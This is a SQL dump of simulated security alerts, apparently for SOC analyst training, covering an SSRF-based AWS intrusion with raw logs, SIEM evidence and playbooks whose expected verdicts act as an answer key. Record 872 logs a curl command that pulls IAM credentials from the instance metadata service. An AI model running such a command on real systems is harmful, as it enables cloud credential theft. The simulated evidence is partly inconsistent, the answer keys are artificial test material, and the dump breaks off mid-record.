INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(871, 'Initial Access via SSRF Vulnerability', 'critical', 'AWS CloudTrail Logs', 'An unauthorized access attempt was detected exploiting a misconfigured AWS WAF through a Server-Side Request Forgery (SSRF) vulnerability. The attacker aimed to access the internal AWS metadata service of Capital One\'s cloud environment.', 'Server-Side Request Forgery', 'T1071.001 - Application Layer Protocol', 1, 'resolved', NULL, '{\"eventVersion\":\"1.08\",\"userIdentity\":{\"type\":\"AssumedRole\",\"arn\":\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\",\"accountId\":\"123456789012\",\"accessKeyId\":\"AKIAIOSFODNN7EXAMPLE\",\"sessionContext\":{\"attributes\":{\"mfaAuthenticated\":\"true\",\"creationDate\":\"2023-10-05T14:48:00Z\"}}},\"eventTime\":\"2023-10-05T14:55:00Z\",\"eventSource\":\"ec2.amazonaws.com\",\"eventName\":\"DescribeInstances\",\"awsRegion\":\"us-east-1\",\"sourceIPAddress\":\"198.51.100.23\",\"userAgent\":\"curl/7.64.1\",\"requestParameters\":{\"instanceIds\":[\"i-0abcd1234efgh5678\"]},\"responseElements\":null,\"requestID\":\"c7f9c6e1-1234-5678-9abc-def123456789\",\"eventID\":\"8d7f5b12-1234-5678-9abc-abcdef012345\",\"readOnly\":false,\"resources\":[{\"ARN\":\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\",\"accountId\":\"123456789012\",\"type\":\"AWS::EC2::Instance\"}],\"eventType\":\"AwsApiCall\",\"managementEvent\":true,\"recipientAccountId\":\"123456789012\"}', '2026-01-15 00:53:58', '2026-02-16 17:56:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous SSRF attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Role used by EC2 instances in the affected AWS account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(872, 'Execution of Unauthorized Commands', 'high', 'AWS CloudWatch Logs', 'An attacker exploited an SSRF vulnerability to execute unauthorized commands on the server, retrieving sensitive metadata, including IAM role credentials. The commands were executed from an external IP address, potentially indicating a breach.', 'Command Execution', 'T1059.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"source_ip\":\"203.0.113.42\",\"destination_ip\":\"10.0.1.15\",\"user\":\"ec2-user\",\"command\":\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"response_code\":200,\"response_size\":512,\"user_agent\":\"curl/7.64.1\",\"session_id\":\"abcd1234efgh5678\",\"malicious_file\":\"ssrf_exploit.exe\",\"malicious_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-15 00:53:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous SSRF attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known SSRF exploit tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.538Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.42\\\",\\\"destination_ip\\\":\\\"10.0.1.15\\\",\\\"user\\\":\\\"ec2-user\\\",\\\"command\\\":\\\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"response_code\\\":200,\\\"response_size\\\":512,\\\"user_agent\\\":\\\"curl/7.64.1\\\",\\\"session_id\\\":\\\"abcd1234efgh5678\\\",\\\"malicious_file\\\":\\\"ssrf_exploit.exe\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(873, 'Persistence via IAM Role Abuse', 'critical', 'IAM Role Access Logs', 'The attacker leveraged stolen IAM role credentials to establish persistent access without detection. This step involved using the compromised credentials to create a new IAM policy allowing further persistence.', 'Credential Access', 'T1078.004 - Valid Accounts: Cloud Accounts', 1, 'resolved', NULL, '{\"eventVersion\":\"1.08\",\"userIdentity\":{\"type\":\"AssumedRole\",\"principalId\":\"AROAEXAMPLE:attacker-session\",\"arn\":\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\",\"accountId\":\"123456789012\",\"accessKeyId\":\"ASIAEXAMPLE\"},\"eventTime\":\"2023-09-15T14:56:30Z\",\"eventSource\":\"iam.amazonaws.com\",\"eventName\":\"CreatePolicy\",\"awsRegion\":\"us-west-2\",\"sourceIPAddress\":\"198.51.100.23\",\"userAgent\":\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\",\"requestParameters\":{\"policyName\":\"PersistencePolicy\",\"policyDocument\":{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"s3:ListBucket\",\"Resource\":\"arn:aws:s3:::example_bucket\"}]}},\"responseElements\":{\"policy\":{\"policyName\":\"PersistencePolicy\",\"policyId\":\"ANPAEXAMPLE\",\"arn\":\"arn:aws:iam::123456789012:policy/PersistencePolicy\",\"path\":\"/\",\"defaultVersionId\":\"v1\"}},\"requestID\":\"EXAMPLE-1111-2222-3333-4444\",\"eventID\":\"EXAMPLE-5678-9101-1121-3141\",\"readOnly\":false,\"eventType\":\"AwsApiCall\",\"managementEvent\":true,\"recipientAccountId\":\"123456789012\"}', '2026-01-15 00:53:58', '2026-02-16 17:56:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"attacker-session\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Session name used in multiple unauthorized activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"PersistencePolicy\",\"is_critical\":false,\"osint_result\":{\"source\":\"Policy Audit\",\"verdict\":\"suspicious\",\"details\":\"Recently created policy with permissions allowing persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected 